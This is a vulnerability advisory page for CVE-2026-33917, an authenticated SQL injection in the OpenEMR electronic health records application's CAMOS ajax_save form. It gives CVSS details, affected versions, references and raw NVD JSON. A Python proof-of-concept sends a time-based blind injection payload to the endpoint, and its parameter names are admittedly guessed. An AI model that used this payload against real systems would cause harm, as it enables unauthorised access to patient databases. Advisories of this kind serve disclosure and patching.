Security Vulnerability Report
中文
CVE-2026-33917 CVSS 8.8 HIGH

CVE-2026-33917

Published: 2026-03-26 00:16:39
Last Modified: 2026-03-26 16:26:36

Description

OpenEMR is a free and open source electronic health records and medical practice management application. Versions prior to 8.0.0.3 contais a SQL injection vulnerability in the ajax_save CAMOS form that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the ajax_save page in the CAMOS form. Version 8.0.0.3 patches the issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEMR < 8.0.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_openemr_sqli(target_url, session_cookie): """ Proof of Concept for CVE-2026-33917 Exploits SQL Injection in OpenEMR CAMOS ajax_save form. Requires valid authenticated session. """ # The vulnerable endpoint vuln_endpoint = f"{target_url}/interface/forms/CAMOS/ajax_save.php" # Headers including the session cookie (PR:L requirement) headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"PHPSESSID={session_cookie}" } # Malicious payload to test SQL Injection # This payload attempts to cause a time-based delay or extract data # Adjust parameter names based on the actual form parameters payload = { "form_id": "1' OR SLEEP(5)-- -", # Time-based blind injection test "action": "save", "note": "Test" } try: response = requests.post(vuln_endpoint, data=payload, headers=headers, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection caused a delay.") elif "error" in response.text.lower(): print("[+] Potential SQL Syntax Error detected in response.") else: print("[-] Exploit sent but could not confirm vulnerability via simple heuristic.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:200]}") except requests.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": # Example usage # Replace with actual target and valid session cookie target = "http://localhost/openemr" s_cookie = "valid_session_id_here" exploit_openemr_sqli(target, s_cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33917", "sourceIdentifier": "[email protected]", "published": "2026-03-26T00:16:39.470", "lastModified": "2026-03-26T16:26:36.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Versions prior to 8.0.0.3 contais a SQL injection vulnerability in the ajax_save CAMOS form that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the ajax_save page in the CAMOS form. Version 8.0.0.3 patches the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación de gestión de registros de salud electrónicos y práctica médica de código abierto y gratuita. Las versiones anteriores a la 8.0.0.3 contienen una vulnerabilidad de inyección SQL en el formulario CAMOS ajax_save que puede ser explotada por atacantes autenticados. La vulnerabilidad existe debido a una validación de entrada insuficiente en la página ajax_save del formulario CAMOS. La versión 8.0.0.3 soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/4d48821d18e4125508d8217c43b09233c7f7e17f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-r6xq-mfwf-wgq8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-r6xq-mfwf-wgq8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}